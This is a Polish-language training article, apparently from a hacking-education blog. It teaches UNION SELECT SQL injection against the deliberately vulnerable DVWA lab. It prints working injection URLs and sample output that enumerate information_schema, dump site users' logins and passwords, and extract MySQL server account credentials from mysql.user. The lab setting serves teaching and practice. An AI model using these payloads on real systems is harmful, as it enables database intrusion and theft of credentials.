Dzisiaj kontynuujemy temat ataków SQL Injection przechodząc do praktyki w skrypcie treningowym Damn Vulnerable Web Application. Dzisiaj poznasz klauzurę UNION SELECT umożliwiającą zebranie i złączenie wyników z kilku tabel bazy danych MySQL.
Mam nadzieje że wziąłeś sobie do serca poprzednią pracę domową i już co nieco o tej klauzurze wiesz. Najważniejsze jest zrozumienie faktu, że do jej użycia wymagana jest znajomość liczby kolumn w zapytaniu poprzedzającym (SELECT). W naszym filmie zademonstrujemy Tobie najprostszy sposób między innymi na poznanie liczby kolumn. Ostatecznie z dzisiejszego szkolenia dowiesz się jaki jest login i hasło administratora strony.
Wideo szkoleniowe o ataku SQL Injection
W dzisiejszym filmie zademonstruje Tobie działanie operatora UNION w połączeniu z klauzurą SELECT języka SQL w skrypcie phpMyAdmin.
Następnie przejdziemy już do całkowitej praktyki w skrypcie DVWA demonstrującej wykorzystanie ataku SQL Injection w celu pobrania danych dostępowych użytkownika witryny.
Dowiesz się w jaki prosty sposób wyliczyć liczbę kolumn. Ta wiedza jest niezbędna w celu wykorzystania operatora UNION SELECT. Poznasz również rozszerzenie HackBar do przeglądarki internetowej Mozilla Firefox ułatwiający zadawanie złośliwych zapytań SQL.
Uwaga! Niestety domyślna konfiguracja PHP w pakiecie XAMPP związana z obsługą baz danych nie zezwala w naszym przypadku na wykonanie kilku zapytań naraz takich jak np: DROP, UPDATE, DELETE lub INSERT. Miej na uwadze, że nie zawsze tak będzie.
Wstrzykiwanie zapytań SQL z pomocą UNION SELECT
Zapytanie z filmu objaśniające UNION SELECT wydane w skrypcie phpMyAdmin i aplikacji XAMPP:
SELECT user, last_login FROM users UNION SELECT user, password from users;
Ostateczne zbudowane metodą prób i błędów zapytanie SQL Injection, wyciągające z bazy danych loginy i hasła użytkowników:
http://192.168.0.10/vulnerabilities/sqli/?id=-1' union select concat(user, ":", password), 2 from users; -- &Submit=Submit#
Zwróć uwagę na funkcję wbudowaną w MySQL concat() umożliwiającą łączenie dowolnych ciągów znaków. Dzięki temu zapytaniu powinno udać Ci się uzyskać login i hasło wszystkich użytkowników witryny DVWA.
Uwaga! Jeśli już co nieco nauczyłeś się języka zapytań SQL i funkcji wbudowanych w silnik MySQL, pewnie zwróciłeś już uwagę że budowa złośliwego zapytania i jego cel zależy tylko i wyłącznie od wiedzy i kreatywności hakera.
Praca domowa z SQL Injection
-> Zadanie 1
W skrypcie phpMyAdmin zapoznaj się z bazą danych MySQL o nazwie information_schema. Zwróć szczególną uwagę na tabelę:
- COLUMNS,
- TABLES,
- USER_PRIVILEGES.
Zainteresuj się głównie nazwami kolumn i ich wartościami w tych tabelach i przemyśl co i do czego może Ci się przydać ta wiedzą. Spróbuj pobrać samodzielnie jakieś wartości z pomocą poznanego ataku SQL Injection.
UWAGA! Oczywiście zwróć również uwagę na wszystkie bazy danych byś pobieżnie wiedział czego możesz się spodziewać w tego typu silnikach bazodanowych.
-> Zadanie 2
W skrypcie DVWA za pomocą uzyskanych informacji z information_schema i tabeli COLUMNS i TABLES, spróbuj znaleźć „ciekawą” NAZWĘ TABELI w bazie danych o nazwie mysql. W tej tabeli którą opisuje, zawarte są loginy i hasła użytkowników serwera. Spróbuj na początku nie pomagać sobie spojrzeniami w phpMyAdmina.
Jeśli już wiesz jak ta tabela się nazywa, spróbuj z niej pobrać login i hasło użytkowników serwera MySQL. Dla Twojej informacji to są Ci użytkownicy na których logujesz się w phpMyAdminie lub konsoli.
Uwaga! Nie wiem czy zwróciłeś na to uwagę w filmie, ale można w MySQL wykorzystywać adresowanie w postaci NAZWA_BAZYDANYCH.tabela. Przykład:
select * from dvwa.users;
Uwaga 2! W ostateczności ratuj się podglądaniem struktury w phpMyAdmin, jednak cała sztuka polega w przypadku silnika MySQL na wyciąganiu z bazy danych information_schema potrzebnych Tobie informacji i metodą prób i błędów ich wykorzystywanie.
Uwaga! Po wklejeniu złośliwego kodu SQL w pasek adresu znaki specjalne z procentami powinny zostać zamienione na spacje i stać się bardziej czytelnymi.
W pierwszym kroku sprawdzamy nazwy tabeli w naszej bazie danych:
http://192.168.0.10/vulnerabilities/sqli/?id=-1%27%20union%20select%20table_schema,%20table_name%20from%20information_schema.tables;%20--%20&Submit=Submit#
Jeden z wyników zwraca:
ID: -1′ union select table_schema, table_name from information_schema.tables; —
First name: mysql
Surname: user
Znasz już nazwę bazy danych mysql i tabele o interesującej nazwie, czyli users. Teraz pobierzmy nazwy kolumn z mysql.users (baza danych o nazwie mysql i tabela users).
http://192.168.0.10/vulnerabilities/sqli/?id=-1%27%20union%20select%20table_schema,%20column_name%20from%20information_schema.columns;%20--%20&Submit=Submit#
Pamiętasz WHERE? Czemu powyższego zapytania by nie zawęzić tylko do tabeli mysql?
http://192.168.0.10/vulnerabilities/sqli/?id=-1' union select table_schema, column_name from information_schema.columns where information_schema.columns.table_schema='mysql'; -- &Submit=Submit#
Znamy już nazwy kolumn tabeli mysql.users. Są to (fragment wyniku):
ID: -1′ union select table_schema, column_name from information_schema.columns where information_schema.columns.table_schema=’mysql’; —
First name: mysql
Surname: UserID: -1′ union select table_schema, column_name from information_schema.columns where information_schema.columns.table_schema=’mysql’; —
First name: mysql
Surname: Password
Ostateczny potencjalny atak hakera z wykorzystaniem SQL Injection:
http://192.168.0.10/vulnerabilities/sqli/?id=-1%27%20union%20select%20User,%20Password%20from%20mysql.user;%20--%20&Submit=Submit#
Wynik powyższego ataku:
[caption id="" align="aligncenter" width="509"] Przejęte nazwy użytkowników i hasła do serwera MySQL z pomocą SQL Injection w skrypcie DVWA.[/caption]
Uwaga! Pamiętaj, że prawdziwy cyberprzestępca bez problemu pobierze sobie przykładowy serwer HTTP, silnik bazodanowy MySQL i skrypt CMS w celu przetestowania jego działania u siebie na sucho. Wtedy bez problemu wiele informacji wyciągnie za pomocą samej myszy komputerowej z lokalnego phpMyAdmina.
Podsumowanie o atakach na bazy danych
Jak widzisz atak SQL Injection przy znajomości języka SQL jest dosyć prosty w przeprowadzeniu. Udało nam się pobrać za pomocą dziurawej aplikacji internetowej Damn Vulnerable Web Application nie tylko loginy i hasła użytkowników witryny sieciowej, ale i dane dostępowe do serwera MySQL (patrz praca domowa).
Tego typu ataki zdarzają się niezwykle często i nadal wiele zaktualizowanych systemów CMS, motywów graficznych i pluginów posiada tego typu luki. W kolejnych lekcjach zajmiemy się ślepym atakiem SQL a w ostatniej lekcji oczywiście czeka na Ciebie aplikacja bomba automatyzująca cały proces tego typu ataków. Chcesz być na bieżąco to zlajkuj naszego fejsa #HakerEduPL. Powodzenia w pracy domowej! 😉